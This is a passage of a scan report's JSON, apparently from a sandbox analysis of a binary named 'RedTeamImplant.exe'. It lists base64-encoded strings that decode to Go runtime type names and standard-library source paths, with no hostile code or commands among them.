Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5bmMucG9vbENoYWlu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5bmMucG9vbENoYWluRWx0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5bmMucG9vbERlcXVldWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5bmMucG9vbExvY2Fs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5bmMucG9vbExvY2FsSW50ZXJuYWw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5bmMuUldNdXRleA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5cy5Ob3RJbkhlYXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5c2NhbGwuRExM","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5c2NhbGwuRExMRXJyb3I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5c2NhbGwuRXJybm8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5c2NhbGwuRmlsZXRpbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5c2NhbGwuR1VJRA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5c2NhbGwuSGFuZGxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5c2NhbGwuTGF6eURMTA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5c2NhbGwuT3ZlcmxhcHBlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5c2NhbGwuUG9pbnRlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5c2NhbGwuUHJvYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5c2NhbGwuUmF3U29ja2FkZHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5c2NhbGwuUmF3U29ja2FkZHJBbnk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5c2NhbGwuUnVzYWdl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5c2NhbGwuU2VjdXJpdHlBdHRyaWJ1dGVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5c2NhbGwuU2lnbmFs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5c2NhbGwuU29ja2FkZHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5c2NhbGwuU3lzUHJvY0F0dHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5c2NhbGwuVG9rZW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5c2NhbGwuV2FpdFN0YXR1cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5c2NhbGwuV1NBQnVm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5c2NhbGwuV1NBUHJvdG9jb2xDaGFpbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnN5c2NhbGwuV1NBUHJvdG9jb2xJbmZv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnRpbWUuYWJicg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnRpbWUuRHVyYXRpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnRpbWUuTG9jYXRpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnRpbWUuVGltZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnRpbWUuVGltZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnRpbWUuem9uZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnRpbWUuem9uZVRyYW5z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnVuaWNvZGUuUmFuZ2UxNg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnVuaWNvZGUuUmFuZ2UzMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnVuaWNvZGUuUmFuZ2VUYWJsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnVuc2FmZS5Qb2ludGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KndpbmRvd3MuTlRTdGF0dXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KndpbmRvd3MuV1NBTXNn","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KypbOF1zdHJ1Y3QgeyBrZXkgdWludDMyOyBlbGVtIFtdKmFiaS5UeXBlIH0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KypzdHJ1Y3QgeyBrZXkgYWJpLlR5cGVPZmY7IGVsZW0gKmFiaS5UeXBlIH0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"LCpbXSpzeW5jLmluZGlyZWN0W2ludGVyZmFjZSB7fSxpbnRlcmZhY2Uge31d","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"LCpbXXN0cnVjdCB7IGtleSBpbnQzMjsgZWxlbSB1bnNhZmUuUG9pbnRlciB9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"LCpbXXN0cnVjdCB7IGtleSB1bnNhZmUuUG9pbnRlcjsgZWxlbSBpbnQzMiB9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"LCpmdW5jKGZ1bmMoaW50ZXJmYWNlIHt9LCBpbnRlcmZhY2Uge30pIGJvb2wp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"LCpzdHJ1Y3QgeyBsZW4gaW50OyBidWYgWzEyOF0qcnVudGltZS5tc3BhbiB9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"LCpzeW5jLkhhc2hUcmllTWFwW2ludGVyZmFjZSB7fSxpbnRlcmZhY2Uge31d","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"LSpbMF0qc3luYy5pbmRpcmVjdFtpbnRlcmZhY2Uge30saW50ZXJmYWNlIHt9XQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"LSpbOF1zdHJ1Y3QgeyBrZXkgaW50MzI7IGVsZW0gdW5zYWZlLlBvaW50ZXIgfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"LSpbOF1zdHJ1Y3QgeyBrZXkgdW5zYWZlLlBvaW50ZXI7IGVsZW0gaW50MzIgfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"LSpbXXN0cnVjdCB7IGtleSBhYmkuVHlwZU9mZjsgZWxlbSAqYWJpLlR5cGUgfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"LSpmdW5jKGZtdHNvcnQuS2V5VmFsdWUsIGZtdHNvcnQuS2V5VmFsdWUpIGludA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"LSpzdHJ1Y3QgeyBGIHVpbnRwdHI7IFIgcnVudGltZS5tZXRyaWNSZWFkZXIgfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"LTA3OjAwOjBM","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"LTA3OjAwOjBNOQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"LipbOF1zdHJ1Y3QgeyBrZXkgYWJpLlR5cGVPZmY7IGVsZW0gKmFiaS5UeXBlIH0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Lypnby5zaGFwZS5zdHJ1Y3QgeyBpbnRlcm5hbC9zeW5jLmlzRW50cnkgYm9vbCB9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"LypzdHJ1Y3QgeyBrZXkgaW50ZXJmYWNlIHt9OyBlbGVtIGludGVyZmFjZSB7fSB9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"LypzdHJ1Y3QgeyBrZXkgc3RyaW5nOyBlbGVtIHJ1bnRpbWUubWV0cmljRGF0YSB9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvY21wL2NtcC5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvZW5jb2RpbmcvYmFzZTY0L2Jhc2U2NC5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvZXJyb3JzL2Vycm9ycy5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvZXJyb3JzL3dyYXAuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvYWJpL2FiaS5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvYWJpL2VzY2FwZS5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvYWJpL21hcF9zd2lzcy5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvYWJpL3R5cGUuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvYmlzZWN0L2Jpc2VjdC5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvYnl0ZWFsZy9ieXRlYWxnLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvYnl0ZWFsZy9jb21wYXJlX2FtZDY0LnM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvYnl0ZWFsZy9jb3VudF9hbWQ2NC5z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvYnl0ZWFsZy9jb3VudF9uYXRpdmUuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvYnl0ZWFsZy9lcXVhbF9hbWQ2NC5z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvYnl0ZWFsZy9pbmRleF9hbWQ2NC5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvYnl0ZWFsZy9pbmRleF9hbWQ2NC5z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvYnl0ZWFsZy9pbmRleGJ5dGVfYW1kNjQucw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvYnl0ZW9yZGVyL2J5dGVvcmRlci5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvY2hhY2hhOHJhbmQvY2hhY2hhOC5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvY2hhY2hhOHJhbmQvY2hhY2hhOF9hbWQ2NC5z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvY3B1L2NwdS5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvY3B1L2NwdV94ODYuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvY3B1L2NwdV94ODYucw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvZm10c29ydC9zb3J0Lmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvZ29kZWJ1Zy9nb2RlYnVnLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvZ29kZWJ1Z3MvdGFibGUuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvaXRvYS9pdG9hLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvcmVmbGVjdGxpdGUvdHlwZS5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvcnVudGltZS9hdG9taWMvdHlwZXMuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvcnVudGltZS9leGl0aG9vay9ob29rcy5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvcnVudGltZS9tYXBzL2dyb3VwLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvcnVudGltZS9tYXBzL21hcC5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvcnVudGltZS9tYXBzL3J1bnRpbWVfZmFzdDMyX3N3aXNzLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvcnVudGltZS9tYXBzL3J1bnRpbWVfZmFzdDY0X3N3aXNzLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvcnVudGltZS9tYXBzL3J1bnRpbWVfZmFzdHN0cl9zd2lzcy5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvcnVudGltZS9tYXBzL3J1bnRpbWVfc3dpc3MuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvcnVudGltZS9tYXBzL3RhYmxlLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvcnVudGltZS9zdHJjb252L2F0b2kuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvcnVudGltZS9zeXMvaW50cmluc2ljcy5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvc3RyaW5nc2xpdGUvc3RyaW5ncy5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvc3luYy9oYXNodHJpZW1hcC5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvc3luYy9tdXRleC5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzL3JlZ2lzdHJ5L2tleS5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzL3JlZ2lzdHJ5L3ZhbHVlLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzL3JlZ2lzdHJ5L3pzeXNjYWxsX3dpbmRvd3MuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzL3N5c2RsbC9zeXNkbGwuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaW8vaW8uZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvaXRlci9pdGVyLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvbWF0aC9iaXRzL2JpdHMuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvbWF0aC9leHBfYW1kNjQuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvbWF0aC91bnNhZmUuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcmVmbGVjdC9hYmkuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcmVmbGVjdC9hc21fYW1kNjQucw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcmVmbGVjdC9mbG9hdDMycmVnX2dlbmVyaWMuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcmVmbGVjdC9tYWtlZnVuYy5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcmVmbGVjdC9tYXBfc3dpc3MuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcmVmbGVjdC90eXBlLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcmVmbGVjdC92YWx1ZS5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9hbGcuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9hcmVuYS5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9hc20ucw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9hc21fYW1kNjQucw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9hdG9taWNfcG9pbnRlci5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9jZ29jYWxsLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9jZ3JvdXBfc3R1YnMuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9jaGFuLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9jcHVmbGFnc19hbWQ2NC5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9kZWJ1Zy5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9kZWJ1Z2NhbGwuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9kZWZzX3dpbmRvd3NfYW1kNjQuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9kdWZmX2FtZDY0LnM=","type":"Ansi","source":"Memory/File 